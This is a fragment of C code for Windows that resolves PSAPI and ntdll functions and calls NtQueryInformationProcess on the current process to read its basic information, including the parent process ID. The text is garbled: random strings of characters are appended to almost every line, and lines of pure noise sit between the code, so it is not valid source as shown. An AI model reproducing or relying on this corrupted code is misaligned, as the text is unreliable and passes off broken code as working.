DWORD BasePriority; ?){0-A4
ULONG UniqueProcessId; ^g}L`9fL
ULONG InheritedFromUniqueProcessId; pi|\0lH6W
} PROCESS_BASIC_INFORMATION; _c[|@D
)t*S'R
PROCNTQSIP NtQueryInformationProcess; ur?d6a
{F<)z%^
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; B.V?s,U
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 7We?P,A\;
)ZQHa7V
HANDLE hProcess; 9
aY'0wa
PROCESS_BASIC_INFORMATION pbi; (}9cD^F0n
lt }r}HM+
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); CR%D\I$o
if(NULL == hInst ) return 0; ,jAx%]@,I
mfj4`3:NV
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); g7.7E6%H
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); )C'G2RV
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); eL<m.06cfY
[Bl
$IfU
if (!NtQueryInformationProcess) return 0; P]|J?$1K
oxUE79
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 0eQ~#~j&
if(!hProcess) return 0; <ED8"~_
^RY n8I
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; |E46vup
jjJc1 p0
CloseHandle(hProcess); *jYHd#UZx4
59&T